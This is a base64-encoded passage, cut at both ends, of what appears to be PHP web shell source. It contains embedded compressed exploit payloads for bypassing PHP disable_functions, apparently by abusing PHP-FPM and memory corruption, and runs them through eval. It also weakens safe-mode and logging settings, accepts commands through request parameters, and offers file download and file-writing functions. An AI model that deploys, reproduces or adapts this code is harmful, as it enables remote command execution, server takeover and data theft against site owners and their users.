m4gIi8vIi5zdHJfcmVwbGFjZShhcnJheSgiXHIiLCJcbiIpLCAiIiwgJGMpLiJcbiI7CgllbHNlCgkJcmV0dXJuICIvKiIucHJlZ19yZXBsYWNlKCJ8XCovfCIsIiIsICRjKS4iKi8iOwp9CgpmdW5jdGlvbiB0KCRzLCAkbiA9IGZhbHNlKXsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Rva2VuX2dldF9hbGwnKSkgcmV0dXJuICRzOwoJCgkkcyA9ICgkbiA/ICc8P3BocCAnIDogJycpLiRzOwoJCglmb3JlYWNoKHRva2VuX2dldF9hbGwoJHMpIGFzICR0KQoJCUAkciAuPSAoaXNfYXJyYXkoJHQpID8gJHRbMV0gOiAkdCkuaigpOwoJCglyZXR1cm4gKCRuID8gc3Vic3RyKCRyLCA2KSA6ICRyKTsKfQoKZnVuY3Rpb24gc0RpZSgkc3RyID0gJycpewoJaWYoUk8pCgkJZGllKCRzdHIpOwoJZWxzZXsKCQkkb3V0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7CgkJb2JfZW5kX2NsZWFuKCk7Cgl9CgkKCWlmKHByZWdfZ3JlcCgnfGF0dGFjaG1lbnR8JywgaGVhZGVyc19saXN0KCkpKSBwcmludCBnemVuY29kZSgkb3V0LiRzdHIsIDkpOwoJZWxzZQoJCXByaW50IHNldFZhbHVlKCRvdXQuJHN0cik7CglkaWU7Cn0KCmZ1bmN0aW9uIHNhZmVtb2RlKCRjbWQgPSAnY2hlY2snKXsKCQoJaWYoIWRlZmluZWQoJ1BIUF9WRVJTSU9OX0lEJykpIHJldHVybiBmYWxzZTsKCSRjID0gX19GVU5DVElPTl9fOwoJJHYgPSBQSFBfVkVSU0lPTl9JRDsKCQoJJHBvY3NbJ2NtX3BocF9mcG0nXSA9IGFycmF5KCd2JyA9PiAoKHN0cnBvcyhwaHBfc2FwaV9uYW1lKCksICdmcG0nKSAhPT0gZmFsc2UpICYmIGlzX2ludChhcnJheV9zZWFyY2godHJ1ZSwgYXJyYXlfbWFwKGZ1bmN0aW9uKCRmKXtpZihmdW5jdGlvbl9leGlzdHMoJGYpKSByZXR1cm4gdHJ1ZTt9LCBhcnJheSgnbWFpbCcsICdlcnJvcl9sb2cnLCAnaW1hcF9tYWlsJywnbWJfc2VuZF9tYWlsJykpKSkpLCAncicgPT4gJ2V4ZWNGUE0oJCcuJGMuJyknLCAnYycgPT4nZUp5TlYyMVQyMFlRL2t4bitoOE9SWm1UTW9wa0F5YUVoRkFHVFBCTXdLNXgwdWtrbVJ0Wk9tRVZXZEpJTW9HMi9QZnU3dDM1Qlp1Mk1qN2Y3VDYzdDd2YWx5T1o1VkdURmptVDl6STZIMXc2ZGpTTjNiOSsvbW5Mcm1UTmpsZ1NaclY4QjJ2NFN4UEhUc29wVUc5a2cyQ1hrRnQyUFIyRXpRVG9hWjRLNERtOGxuazhEZE5NbE1EZ0xncllVdERKZVpwSmdEcHBMWDVVYVJPT00rbHduN3ZzbUFseDFoc0t3UTVaL1ZDaklOSElhU25pdElLamZCNXdmeHAzbkNhZFNsaVRUSHQ2ZTU2Rk55QVBPVnE2VDBZUVA0R2xLR2VOaUlxOGtYbFRHNHpIK0l2dFlKem1RVDNodnZVdHQzeitnbkZmQzFRVWxPTno5Z0hwYXB1U0drMm1SYnlRMUhyVDZTeVpXRTVLYmFQUmgvdEE0ODhwcFBHZzBmdGptTFBqRDhwaEpDd3FZcFRFY2JFbHE2cW9SQ1hMb21yUy9NWnBxVk8zME8wMXVOMVNnS3k0c1VDcnAwd2dDd0xVaHF2NGlaUG9LQkR5UHExQkphdWV5Q3dUR0JPVzZ4TEt4TU9DNDFoenIvamMwb2NaaWR0cGpXZmlKaDBrWUhwUnlUQ2FPR0ZWaFErT2hlRUJpcXpvYktYVHNCU0tZMDNIQXNOSUxWMFcxc3hHUmJVK20vUldmSE1lNkl4cnArM0JSK3NIenhpMHVEV3JSL3A5NU5vWmVCNWxBWVM1eDhhek5Jc0hZWFNyb3AzZWhjY1c3OHZFaFB1T3diTzgzK1RIbWd6TzRUVnozRW9wNHk2RmpjNDNqQStNL0tjQmE5N1hMTS9TL05aWmlVZEQwNW9SOFZGRlVDV2JXWlV6Wjd0dXFyS282WTNBOFNyS01lZm8zRU9WNTdqeEVZOHhqdjNmTG1EZ2MzU0NYUklXREdtS0duZWc4NjF2OTYwV2ZOdjZkKzFMMGJPODNhZFMwcVJobHY0cEIyRVZUclV3QmNOSFJkRmlqUThmZG4vOTNMMGVpY3Z1NktKL3h0a1JwTzdIN29oN1QzRFgzZUdYN2xBTWh2MVIvN1QvU1FFdlJxTkIwUGJiYStpUEo2UHVieWUvaTk3VnFEczhQem50S3Z6cHg5NUd1QlorZFhLcGdWa1JoZG1rcUpzMUtCNHBMdnJYby84Q0RydVgvVkZYbkp5ZERSVzB2ZlBHYjhGbncvR253OTVnSk01N243cHpGZVl2N0FsMmNERUFtWmU5Sy9IbDVOTm5oZjJqU0hNSHk1KzMwY2UwTDh5eTRvZVlWWmxJOHlpYnhmS0kreW80SUtKNFArY1FVYnlmSk56MU51eU8weHFydmpCUlZoOGhkQk95S0dVdXhtRXRvUVU4Q3dwblRTRktxSXBZTERCL1ZwU0p3eVk4OUxnUHlzb2NpWTR1cy9JdXpCeVV2YjhuWWtrY3FHaWFvS0VreGNYeUJqbU9kUm50SXFPd2VLeDJ1ZVZUVFpzRGREQ3JxNkNtUnFQUjdIWERYcWZjWFRYRlhWcnI2WWFzbUdmVjNyOHhPNnBZSUZ2bnYwYXQ1YmNwVk5UeDd5QnRNU0lnZXE5Ny9TdXNJalphaG5WSmhRSVA3c0lxcUdaNUFCNE1zSmFSZVJTMzZ5eERlQWFudXB4OUo2dkZBZmJkMTlaM0tDdjQ0OFBZcG5GbkV3bkgzZTlZVG9OWE1IYTR4enYrTG8xN05DcktQb3h2OE91M2FHelR1RVBqTG8ySVBpRHVBWEVQaUh0QTNBUGd2Z3FVb2tYWkxCUlZKT2hkZVlHTkhpWlFZTEZSYzkyNlRiZlRIc1R1aFRPWHpSbGtPTkpoNGpJUy8vVTdDa09jei9ISzRDUFA1NitoSGZsMUVkM3l1U0tFWEZTQnc3ZXRWbXZ0YU5JWVQ0QUp0YzNGRGU0WFVGZUdVNEZTc2R0a0tUUWJoN2FBbjlrMkNBODQ1azhUbFlkQlFBazl5OU43bkxzK3dqeW16UGVNOVI1cjY4dUNDVG80U25VdFRUQ1h5ZFVZWEcyNk9sTDF6WElpdzFqRmh6MHU0b2U1ZzZsbEpuQ1BxcDlzSSthUENTU2ZzNTNJUXRscnJnUTJ0RW04VFNVUTltYmpYdXZ0dnJrcEFWb2hqcGoxcllJUzZMS2wyOEpjR1VnMXdoSDVVYlhsOVNPMXh2NXp4eVZSVnRSU2diVkpKditOLzFEQW1yczJOVVk3amNrRnVGNkVLSkN3K3BIVHlBTkxNVWxJREkxYitVQWRBcXJoVEdxdjB5NVFISDNxV0tkWGxnZXZGOHFuZzJqWGM5cnYzKysyWGZZM00yUzFXVi9Kelc0RVA2RVFUdDlPRm1HaDZ4WVpzYWVWWHIrS0xLUHM1cUdVQy9Nc1N4V3crZVdqTHFzMGJ4SUhieDd0bDlIaVE3Y05LdDlLQk0zU21BVnNwN01QQW1INmtxWjBtOVBXa1Q0R3NrcDhEdnlTSFFEUjFPZ2wzZEFMQ0htM1NvUGRlSytYWVVNNmc0N09ta0JYLzFld3Vhei9BM2M0cTU4PScpOwoKCSRwb2NzWydtbTByMV9maWx0ZXInXSA9IGFycmF5KCd2JyA9PiAoJHYgPj0gNzAwMDAgJiYgJHYgPD0gNzAyMzQgfHwgJHYgPj0gNzAzMDAgJiYgJHYgPD0gNzAzMzMgfHwgJHYgPj0gNzA0MDAgJiYgJHYgPD0gNzA0MjUgfHwgJHYgPiA4MDAwMCAmJiAkdiA8IDgwMDEzKSwgJ3InID0+ICdwd24oJCcuJGMuJyknLCAnYycgPT4gICdlTnFkV0cxM21rZ1UvcDVmTWR2amliaGlBNXFvaVRGN1RFM1Q3TFpwR3ROK2FMZUhNOElncEFpY0FhSnBOLzk5N3d3UWh3RTBwMzVRWk81OTd2c0wySWx2eG03Z28zRGxLdzF6YWJYUXJ6MEVINHZZcmsrVTVwdDNuNi8vTWFhVHU0a3h1L3A2MFZTUnR1NXJyVkVGVVhiKzllSjZha3d2emo5Zkd1ZWZyOTVQMFY5SUFrRnRBT2xxNkVRK2tHRGZYcjIvdTdqZGdxdXRCd3hGV3gvSkdzM3VicSt1TDNOV1dYNEhXUFFoL09peUlSK21RTTc5a0I3WUFWVWFMaG9qYllUZzl4VHAvS0xkenYzRVBvMEZEWUxsdCs5QWRyTmFuNXhnend0TVJWQWhBM3ZpMzFGTUNWNGF0dXZGaEJxVUxOd0lMcFFtUkNDN0NTbzBBYWlac1RWc0M1RHRJQ1ErVURuaHljSEJraXdEK3Nqb1ZqbFZFUmFIUUcwcHdLcUt3TGxWSytyR2hKK2lKcGZ6dExkbmVqaUswRHZpaFlTaVh5aE01cDVyb2dZR2Y4eVpUMGFnZjBvRHVpR3lqa0ZBaEVBZkk0bEFZaW9oODBwSTNRY2NFK0NlbXlyL05yQmwwVkh4ME9HeTFQeUNrMnorQmJZdDBTZllEdG01SFk3MjBwTlVSenRQNGxRSENKZ1BaRUVTcTJpL1lRWitsQ3lKeFV6d2dzajFGMkxvWEZ2WjNLWWtUcWcvZWo3TVhEcFB6QjhrTnBiNEJ6RzQ0L0RjSTB4SWEwUGFpQjAzNnB5bEN2aDRTWGJsQWc4RGt3eElLVzhxcll5NUNCVGhacW9qdXBtOW5SazNrOW5NK0hpZEoxZkJXYzgrWWV4aXJxYWdFQkhRY0wra2R1WllnWktiRFo0M2d2azlVMFErVDZNRllENVpaZGt6cXFicG5NMVpIbWVLS1kwMTZQVlVROHR6QWFnM3Z1bUdNVlUyalFiOWlicFpIYmZndDNnd3FqQlhRaFRGaU94MStrQTIxakhMTWxLdEJLQ00zTUcrNVJFYWJUT3JIUDZRa2hCVFluZ0VBa0hGVkdqTVhSL1RSMzZ5d1lRa2dycVhSYmJSc0I3YUJBUS9DUlVSVUtSbWFab0FYWFZNeW41aTdiMDNyRUl3aWF4b0Fac3g2bHJCUkJ5NXBzRnlSbkRiQXFwUk9GQUVlSkgzcDJzYjBTTTAxMldSTmIybmlOZ2ltODBTUGtlc0NudHFZbDNHbFNZR21OUWI4dXYyR0tJZzFLSVFpcndoeTdMYndLZHU5VmpEYlFuYVArMjlHSmpGU0VXNmlnNExWWjJsRENPS1NNemEyTHNiNDhQazc0KzN4cGVMMjluVngyczBIb01oNHZqdEQwY3ZseXRKVU1WQUZUUXA4TlpYYjdzaVpKMXl5T28wck1sZXRVSitSZmZMUzBjSWdTSTN2WllDYTBWcmU1Y3VkdGx5djJhajd3VkxnRGpjTjR3cUNySDVRMmwrK3ZTcHlTT3VzUzF1ZWpHWm5rOG0wemZhOUVKTW9WSUNDOE9ydlB2VVNYejE3MXJUWHBVeXM4NSt1Y3VKSG9CRzg3STZoQ1pYRitVTVEwWGQxZzZTckFtcHFGOEk5d1AydGlpaHJROXJSV2VjYW5YdUZ0VnY3UUJoTkN4Mmt4M3B0TFd6aTc2RmRjSllZR3ZCSzEyazJpaGlCVks0T3gyQlRRZ3dXam11OTV3R2FiUGFFRUxpdGRBZjBEbTA5WnRlbloyYVdwcW0yYk5DQnluYkd0RlIxb2kwVmgwMHEraU5OanY4bHlxZjdhTStrdnIyemdaU0NLcmVaeHZ3ODJKUUdHOFExb1NOUk1nOUR3cGI2aHltUU1vV1ZaLzdqNm1TYys2UGthS2owMVBFRHVHbjEyTExrRDRTNWtDMk1LWU0yNjNPREdJNzlrT1YzYVhPMFBDckc4SW1odDhhSVo5UjdObklkSUQ5QWUyREYyeGJNQzMxQkRvN0c0djF1NzFmbEZZQTNwOEZOZEpjakdsQ1pPVU9EdEFWUkJqS0E3bCtGR1BmSkJHS0hZTFl0WVdwaFphQmxYZ0VMZDJGRXlQUEpRamI3TkdHMGZBNHJraVRjbklhdzNPRERNNmhDS2FtZzJ3YUxGK2pPM0FHV3JtZUI3R0lFaThHc1FpajJkWGw3UElMNkVsOGtRVXl6M1JBSWV5anhGK3l4emdMdXZlQ3ZLNndJWFp3akV3Y0VSVjhpLzBGS01PaExKZVMxRTJCTFdKSFRwQjRGandscmZsZGsrTElLZUdtcWRvZTgxeVZncFJtY2RVUlMwK3g3dFBTT1d6eEVvVitOVVQ3K3dVR3p1UWJtRkw4V0dhRm5EbGs3R3FKaDMyK2RUWDlTTmYwTHJSelRlOXJQYTNIcndiYVFCL3lxNkUyNk9uODZsZzcxamhkVjlPT2U5cjNscHdPM0xBMDRnWjdBcEkyallKT3JCTkppU3V6eTV3eWNnVTc4MTBCZ2J1c2Z6am85dlgrWVovMDljSGhvRmVsdDFqZjFlb09LK1E5N1ZYLzIxMXhWWnV6MkJkejF3bm5XK1pJd3phSUg5UEhLbWZMN2NHdWRHNEdrTTVxMmFWMndadFcvNGg1Y1hCYzdja3RYcFJkK0ZSUkU3eGN1bHJGTU14dDVKTnZ4OVI1WGliTHM4YjV6ZlhQRWJlL0p0LzhwQUc3ZGZVVDNzQmwwK3NsRzZEekd3dmc4OU1rczFPcm5McE1XeEpGWEwyaXl2Y3NNZngwOHNHZnM5U0ErMDZuTkpoeWpOUFR3ckFwblAwM1JnRzFsTklRdS85ZSthQ1ZwMDdHdm1NeEF6TWpibVpjdlZvRUNkdkVtczJDaGVpRlk1Y3h2ODRHTFFpb0diWHNwSExZaXRZQVZNRVNtSGF4K0tvdGZhL1ZpTnlmaFFHYnNiTmRPbklTMjRZU1lOZXdqaEljSzgwSmU3dktlWjVMNFdudmYyMTFMbzQ9Jyk7CgkKCSRwb2NzWydtbTByMV9jb25jYXQnXSA9IGFycmF5KCd2JyA9PiAoJHYgPT0gODAwMTMgJiYgJHYgPT0gODAwMTQgfHwgJHYgPiA4MDEwMCAmJiAkdiA8IDgwMTIwKSwgJ3InID0+ICduZXcgUHduKCQnLiRjLicpJywgJ2MnID0+J2VOcXRWMXR2bzBZVWZzK3ZtRnJJZ3Bxc3dFNXRKdzZwdkUyMFNTL1pOSmMrckd1aE1ReHJFZ3pXQUJ0bnQvN3ZQVE5jUEF3UVo2dGFpand4NTN6bi9zM0JDWEFjbzBzU3JBbEYzOUE2WFFTK2d4U3NJMlVCZjg0RWJROGNMblB6SEtKdkJ3ZytUaFRHQ2ZybDh1SDZOL3Q4ZWorMTc2NCtYU0FMR1p1aE1hbEo1QTgvWFZ5ZjIrY1g3eDgrMk84ZnJuNC9SeitqbUFUZXlZbU0wd09jdm9GT21oK0wrSGYzdDFmWEh3b0R6V2lIZ0dhTzRjdWNIQWlxbC9jN3AwMXpQSkVlTlFBWEdqWEFQR1ZlR2pxSkg0WEl0amtPVFoxRVZaeVZxK1ZaWXg4dm9xcmlNNnNUQk4rbnlPU0hYazhVWWgvbE00MmkxV3hlbXNkQkVEbHFkaGJjMHladlY2c0dKbWh1eTFONVVDQUdCeWMyeEdGajE2VWxJUHpRWHljUVJiTDA0OE96SmNGck95RDRTZFYwWkE0RlVNWHpnK0FON3U4VU1rUzhjTDRqYUFYRUN3ZHJQdmNxUFpGMWoyek9vNFNvSllxSVhBVElKOE5DSVhuT3gyUW40M3NxR0F0SXFPNmMxNkNxMENHRHdVaXVLU1ZKU2tNeDdjM0dBQWJzZFFKQ2tzNmtUV1FCSWtYTHFjb0diRzFiWlIzZTVoNGhyb2NkSXVZZ2s3Q1hPSFFEUW1PV3hFeVZrc0NtQkx1cVVTbVJFMFJ4U2ttWmNWa1lCcmRSM2lHaU5FaFdrZGpJbTRhUS9CM0NBc2UrWTdOSUJlOCtrOFFXSHFpQ25ZcjVyNzVueHk5eFFsWlYzZXczVlFTdjZIbjRDYkJ5ek1qemVQNUd4cVI5amxuRngvemNzOUM0TnMyN1BEMVRQNEdHcTFub2dhNythb29VWDJ1YzJUZUJHNXZCR0FaVVIwZGlpK2QxWnpJeFNTQ2NtOHNiKzQvcHJ4OXY3Yjh1YnUrdVBsNGp5NEo0Z0t0Wi9NREpRUEhqeWZlWmxxem9ZbG5hczE1MFdEbmZQZFFjRnlQdmRvZFlSK29OMEVJV1ZIbXl0SXkyM3dEYmdwaUdFR2NkTmhQSXAzNU4vUzg0SWJ0clEyQlNvWHNVVEZrYVpyTzVqbWJ6K2M0R1dMQUpwVkU1dkdySkJocEtZNExVTHRQVlVWZFpwRjZ0SVROWVU3bzlRSkp4TC9BbkpXdUNFN1h6OThZd09qcmFkNEZVR0puU21UbEg3L2FRT055Z09YZDJwcFRpbDQ3WTNSbFZjb2RlejFwTzN5ei9ZdGJXK0NXSXNBdkJyTEh6cEhiKy9CR0NNRFl1ek5XQ0VJK2RIZXlSQlY0UUtLUE0vSVgydTJvdXBpMkoyRVZTYUdxTlZQYi9sSko5RldiK1kxVUxmU0NFL1VYc2JEcXZsNkJrZnlVYmNOR3J2STZOcXdOTU51USsxOWx2SWllWWtrUys0Q0JseFF1UlJMakF6YWhLemtyWXNtU1Zqc3h5WEU2emJIdHlsdUFuTjRHNjdPNzA1RVVyZTNaMkJzWmxVbTZQZ2lXSk5WdVQydzBjWXhwNWMyWkxwM2hCNXZZdFZOMC95Z1ZDcXl3cFlPMEhLN05YYUhZdHBKcm85QlN4aC9BMTBEUyswd29YU3pHRVhPSDFBclZkcWhVbXl4bGRlTDV6MG8zazJuZzJDUlA2SXU4TjBxem1vaUZlMVRhTUhFQkhRMG1lSmFSUXNmaGJpenY4YVhRMEdveU9Sd081UjhSRXlINUF0NHdsN0swMGtGeks0bTgwUXB1ZzU2VWZrTkpGWGh4RDI1L2l5czRqazE2R0NlOGRwTTRMdklmNHU0NVJ6NFVjRmxzUzhzeE14NmpicmVYREQyM01LRnR0eXNnUlU5ZHJPdXd6Nnh2bTJCZ05ZQTJCMDdGeGJQVFpxVzhZeHdPRG4wejIyMXhyS29LeWl0dzBJTHh1dGYxVHNKL3ZvSytweTVveWNvTTZ5MU1GSVd1Y28xRi9hQTZQaG1Sb3NnWnE4bnRQQTRHNzR3WjcyNWF1cWpCTW5PQkVmUFBNYmxvbDlyK1NKaEtHQ3lCZXBwNEhYU0pmYTVsT3RRTmw5SksrNFFBYWEwYXdqVVRHSWlOeHpBbTR1akUvc3N5SEdjL0FQMmNaUlQ4ZUhqWjJMTU00UGEwUWJPWFpQeGFLcU12OW1ZRTdRTjJQODhZTnVVaC9ybGhFdVQzNEYxMWlrZVU9Jyk7CgkKCWZvcmVhY2goJHBvY3MgYXMgJHBvY25hbWUgPT4gJHBvYykKCXsKCQlpZighJHBvY1sndiddKSBjb250aW51ZTsKCQkKCQlzd2l0Y2goJGNtZCl7CgkJCWNhc2UgJ2NoZWNrJzoKCQkJCXJldHVybiAkcG9jbmFtZTsKCQkJYnJlYWs7CgkJCWRlZmF1bHQ6CgkJCQlvYl9zdGFydCgpOwoJCQkJZXZhbCgnJCcuJGMuJyA9IFwnKGVjaG8gInZpYSAnLiRwb2NuYW1lLic6IjsnLmFkZHNsYXNoZXMoJGNtZCkuJykgMj4mMVwnO2VjaG8gJy4kcG9jWydyJ10uJzsnLmd6dW5jb21wcmVzcyhiYXNlNjRfZGVjb2RlKCRwb2NbJ2MnXSkpKTsKCQkJCSRyZXMgPSBvYl9nZXRfY29udGVudHMoKTsKCQkJCW9iX2VuZF9jbGVhbigpOwoJCQkJCgkJCQlpZihzdHJwb3MoJHJlcywgJHBvY25hbWUpKSByZXR1cm4gJHJlczsKCQl9Cgl9CgkKCXJldHVybiAoaXNzZXQoJHJlcykgPyAkYy4nIGZvciAnLiR2LicgZmFpbHMgOyggJyA6IGZhbHNlKTsKfQoKIwojCiMKCiRpbmkgPSBhcnJheSgKCSdkaXNhYmxlX2NsYXNzZXMnID0+ICcnLAoJJ2Rpc2FibGVfZnVuY3Rpb25zJyA9PiAnJywKCSdkaXNwbGF5X2Vycm9ycycgPT4gMCwKCSdlbmFibGVfcG9zdF9kYXRhX3JlYWRpbmcnID0+IDEsCgknZXJyb3JfbG9nJyA9PiAnJywKCSdlcnJvcl9yZXBvcnRpbmcnID0+IDAsCgknZmlsZV91cGxvYWRzJyA9PiAxLAoJJ2xvZ19lcnJvcnMnID0+IDAsCgknbG9nX2Vycm9yc19tYXhfbGVuJyA9PiAtMSwKCSdtYWdpY19xdW90ZXNfZ3BjJyA9PiAwLAoJJ21hZ2ljX3F1b3Rlc19ydW50aW1lJyA9PiAwLAoJJ21hZ2ljX3F1b3Rlc19zeWJhc2UnID0+IDAsCgknbWF4X2V4ZWN1dGlvbl90aW1lJyA9PiAwLAoJJ21lbW9yeV9saW1pdCcgPT4gJzEwMjRNJywKCSdvcGVuX2Jhc2VkaXInID0+ICcnLAoJJ3NhZmVfbW9kZScgPT4gMCwKCSdzYWZlX21vZGVfZXhlY19kaXInID0+ICcnKTsKCiRzeXNpbmkgPSBpbmlfZ2V0X2FsbCgpOwoJZm9yZWFjaCgkaW5pIGFzICRrID0+ICR2KQoJCWlmKGlzc2V0KCRzeXNpbmlbJGtdKSAmJiAkc3lzaW5pWyRrXVsnYWNjZXNzJ10gPT0gNykKCQkJaW5pX3NldCgkaywgJHYpOwoJCnNjcmlwdEluaXQoKTsKCmZ1bmN0aW9uIHVuUXVvdGUoJGEpewoJZm9yZWFjaCgkYSBhcyAkayA9PiAkdikKCQlpZihpc19hcnJheSgkdikpCgkJCSRhWyRrXSA9IHVuUXVvdGUoJHYpOwoJCWVsc2UKCQkJJGFbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsKCQkJcmV0dXJuICRhOwp9CgkKZnVuY3Rpb24gcHJlcFZhbHMoJiRhLCRrKXsKCWZvcmVhY2goJGEgYXMgJGkgPT4gJHYpCgkJaWYoaXNfYXJyYXkoJHYpKSBwcmVwVmFscygkYVskaV0sJGspOwoJCWVsc2VpZihzdHJsZW4oJHYpPjIpewoJCQkkciA9ICcnOwoJCQkkdiA9IGV4cGxvZGUoJGssICR2KTsKCQkJZm9yKCRuID0gY291bnQoJHYpLTE7ICRuPj0wOyAtLSRuKXsKCQkJCSRjID0gYXJyYXlfcG9wKCR2KTsKCQkJCWlmKCRjID09PSAnJykKCQkJCQkkYyA9ICRrOwoJCQkJaWYoJG4lMiA9PT0gMCkKCQkJCQkkciAuPSAkYzsKCQkJCWVsc2UKCQkJCQkkciA9ICRjLiRyOwoJCQl9CgkJCSRhWyRpXT0kcjsKCQl9Cn0KCmlmKGRlZmluZWQoJ0NFRCcpKQoJJEQgPSB1bnNlcmlhbGl6ZShwYWNrKCdIKicsIENFRCkpOwplbHNlewoJaWYoaXNzZXQoJF9SRVFVRVNUWydhJ10pKQoJCSREPSRfUkVRVUVTVDsKCWVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ2EnXSkpCgkJJEQ9JF9SRVFVRVNUOwoJZWxzZQoJCSREPWFycmF5KCk7CgkJCglpZihmdW5jdGlvbl9leGlzdHMoJ2dldF9tYWdpY19xdW90ZXNfZ3BjJykgJiYgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKCQkkRCA9IHVuUXVvdGUoJEQpOwoJCglpZihpc3NldCgkRFsnayddKSl7CgkJJGsgPSAkRFsnayddOwoJCXVuc2V0KCREWydrJ10pOwoJCXByZXBWYWxzKCRELCRrKTsKCX0KfQoKJEMgPSBhcnJheSgnJz0+J1VURi04JywnVVRGLTE2JywnV2luZG93cy0xMjUwJywnV2luZG93cy0xMjUxJywnV2luZG93cy0xMjUyJywnV2luZG93cy0xMjU0JywnV2luZG93cy0xMjU2JywnV2luZG93cy0xMjU3JywnSVNPLTg4NTktMScsJ0lTTy04ODU5LTInLCdJU08tODg1OS03JywnSVNPLTg4NTktOCcsJ0lTTy04ODU5LTknLCdJU08tODg1OS0xMycsJ0JpZzUnLCdHQksnLCdTaGlmdF9KSVMnLCdFVUMtS1InLCdFVUMtSlAnLCdJQk04NjYnLCdLT0k4LVInLCdLT0k4LVUnLCk7CgpkZWZpbmUoJ1ZFUicsICcxLjMnKTsKZGVmaW5lKCdEU0MnLCBESVJFQ1RPUllfU0VQQVJBVE9SKTsKZGVmaW5lKCdOSVgnLCBEU0MgPT09ICcvJyk7CmRlZmluZSgnUk8nLCBpc3NldCgkRFsncm8nXSkgPyB0cnVlIDogZmFsc2UpOwpkZWZpbmUoJ1RNJywgaXNzZXQoJERbJ3RtJ10pID8gdHJ1ZSA6IGZhbHNlKTsKZGVmaW5lKCdDU0UnLCBpc3NldCgkRFsnYyddKSA/ICRDWyREWydjJ11dOidVVEYtOCcpOwoKb2JfZW5kX2NsZWFuKCk7CmlmKCFSTykgb2Jfc3RhcnQoKTsKCmlmKCFkZWZpbmVkKCdDRUQnKSl7CglpZihpc3NldCgkRFsnYSddKSl7CgkJJG1kNSA9IG1kNShyYW5kKDAsIDc3Nzc3NykpOwoJCWlmKGlzc2V0KCREWydkJ10pKXsKCQkJaWYoJERbJ2EnXT09PSdmJyl7CgkJCQlpZihpc19hcnJheSgkRFsnZCddKSl7CgkJCQkJCSREWydEQlAnXSA9IHNhbWVQYXRoKCREWydkJ10pOwoJCQkJCQkkbiA9ICRtZDUuJy56aXAnOwoJCQkJCX0KCQkJCQllbHNlaWYoaXNfZGlyKCREWydkJ10pKQoJCQkJCQkkbiA9ICRtZDUuJy56aXAnOwoJCQkJCWVsc2UKCQkJCQkJJG4gPSBmaWxlTmFtZSgkRFsnZCddKTsKCQkJCQkJJG4gPSBlc2NGaWxlTmFtZSgkbik7CgkJCX0KCQkJZWxzZQoJCQkJJG4gPSAkbWQ1LicuemlwJzsKCQkJCQoJCQloZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7CgkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuJG4uKFJPID8gJycgOiAnLmd6JykuJyInKTsKCQl9CgkJZWxzZXsKCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9Jy5DU0UpOwoJCX0KCX0KCWVsc2UKCQloZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PScuQ1NFKTsJCQp9CgkJCQkJCmZ1bmN0aW9uIGVzY0hUTUwoJHYpewoJcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCcmJywnIicsJzwnLCc+JyksIGFycmF5KCcmYW1wOycsJyZxdW90OycsJyZsdDsnLCcmZ3Q7JyksICR2KTsKfQoKZnVuY3Rpb24gc2VsZlBhdGgoKXsKCWlmKGlzc2V0KCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpIHJldHVybiBmaWxlUGF0aCgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOwoJaWYoaXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkpIHJldHVybiBzdWJzdHIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwtMSkgPT09IERTQyA/ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gOiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLkRTQzsKCWlmKFBIUF9WRVJTSU9OID49ICc1LjMnKSByZXR1cm4gc3Vic3RyKF9fRElSX18sLTEpID09PSBEU0MgPyBfX0RJUl9fIDogX19ESVJfXy5EU0M7CglyZXR1cm4gZmlsZVBhdGgoX19GSUxFX18pOwp9CgpmdW5jdGlvbiBmaWxlUGF0aCgkcCl7CgkkcCA9IHJ0cmltKCRwLCBEU0MpOwoJcmV0dXJuIGltcGxvZGUoRFNDLCBhcnJheV9zbGljZShleHBsb2RlKERTQywkcCksIDAsIC0xKSkuRFNDOwp9CgpmdW5jdGlvbiBmaWxlTmFtZSgkcCl7CgkkcD1ydHJpbSgkcCwgRFNDKTsKCSRpPXN0cnJwb3MoJHAsIERTQyk7CglyZXR1cm4gJGk9PT0gRkFMU0UgPyAkcCA6IHN1YnN0cigkcCwkaSsxKTsKfQoKZnVuY3Rpb24gd3JpdGVGaWxlKCRwLCRjKXsKCWlmKCR2ID0gZm9wZW4oJHAsJ3diJykpewoJCWZsb2NrKCR2LExPQ0tfRVgpOwoJCWZ3cml0ZSgkdiwkYyk7CgkJZmZsdXNoKCR2KTsKCQlmbG9jaygkdixMT0NLX1VOKTsKCQlmY2xvc2UoJHYpOwoJCXJldHVybiBUUlVFOwoJfQoKCWlmKFBIUF9WRVJTSU9OPj0nNScpewoJCSR2ID0gZmlsZV9wdXRfY29udGVudHMoJHAsJGMpOwoJCWlmKGlzX2ludCgkdikpIHJldHVybiBUUlVFOwoJfQoKCWlmKFBIUF9WRVJTSU9OPj0nNScpIDogaWYoUEhQX1ZFUlNJT04+PSc1LjEnKXsKCQl0cnl7CgkJCSR2ID0gbmV3IFNwbEZpbGVPYmplY3QoJHAsJ3diJyk7CgkJfQoJCWNhdGNoKEV4Y2VwdGlvbiAkZSApewoJCQkkdj1GQUxTRTsKCQl9CgkKCQlpZigkdil7CgkJCSR2LT5mbG9jayhMT0NLX0VYKTsKCQkJJHYtPmZ3cml0ZSgkYyk7CgkJCSR2LT5mZmx1c2goKTsKCQkJJHYtPmZsb2NrKExPQ0tfVU4pOwoJCQl1bnNldCgkdik7CgkJCXJldHVybiBUUlVFOwoJCX0KCX0KCWVuZGlmOwoJCglyZXR1cm4gRkFMU0U7Cn0KCmZ1bmN0aW9uIHRlbXBOYW1lKCl7CgkkYSA9ICdwb2l1eXRyZXdxbGtqaGdmZHNhbW5idmN4ek1OQlZDWFpMS0pIR0ZEU0FQT0l